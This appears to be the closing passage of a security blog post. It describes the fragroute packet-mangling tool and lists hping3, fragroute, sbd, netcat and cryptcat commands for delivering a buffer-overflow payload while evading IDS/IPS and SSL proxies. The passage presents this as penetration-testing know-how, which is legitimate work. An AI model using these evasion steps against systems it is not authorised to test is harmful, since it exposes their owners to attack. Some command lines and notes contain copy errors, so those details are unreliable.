take traffic destined for a particular host and do all sorts of things
with it. It can delay, duplicate, drop, fragment, overlap, reorder, etc.
It was created primarily to test network based intrusion detection
systems, firewalls, and IP stack behavior.
More
specifically fragroute intercepts, modifies, and rewrites egress traffic
destined for a specified host, implementing most of the attacks
described in the Secure Networks "Insertion, Evasion, and Denial of
Service: Eluding Network Intrusion Detection" paper of January 1998.
It
features a simple rule set language to delay, duplicate, drop,
fragment, overlap, print, reorder, segment, source-route, or otherwise
monkey with all outbound packets destined for a target host, with
minimal support for randomized or probabilistic behavior.This tool
was written in good faith to aid in the testing of network intrusion
detection systems, firewalls, and basic TCP/IP stack behavior.
Examples of using other tools
Below you can see multiple examples and get multiple ideas on how to by pass network and host based IPS/IDS.
hping3 –file mybuffer.txt –data 127.0.0.1 21
Note: You can use hping3 to transfer the buffer over flow over TCP/IP stack and play wth the.
fragroute -f frag-3 127.0.0.1
Note: You can use fragroute to transfer the buffer over flow over and test your IPS signatures.
sbd 127.0.0.1 21 < mybuffer.txt
Note: You can use sbd to transfer the buffer over flow over an encrypted connection and bypass reverse SSL proxies.
nc 127.0.0.1 21 > mybuffer.txt
Note: You can use nc to transfer the buffer over flow over TCP/IP stack in a simple penetration test without any filtering.
netcat6 127.0.0.1 21 > mybuffer.txt
Note: You can use netcat6 to transfer the buffer over flow over IPv6 forgotten services that system administrators don't think that can be done anything.
cryptcat 127.0.0.1 21 < mybuffer.txt
Note: You can use sbd to transfer the buffer over flow over an encrypted connection and bypass reverse SSL proxies.
Epilogue
In this post we redefined what a buffer overflow is and we showed alternative ways to deliver the payload.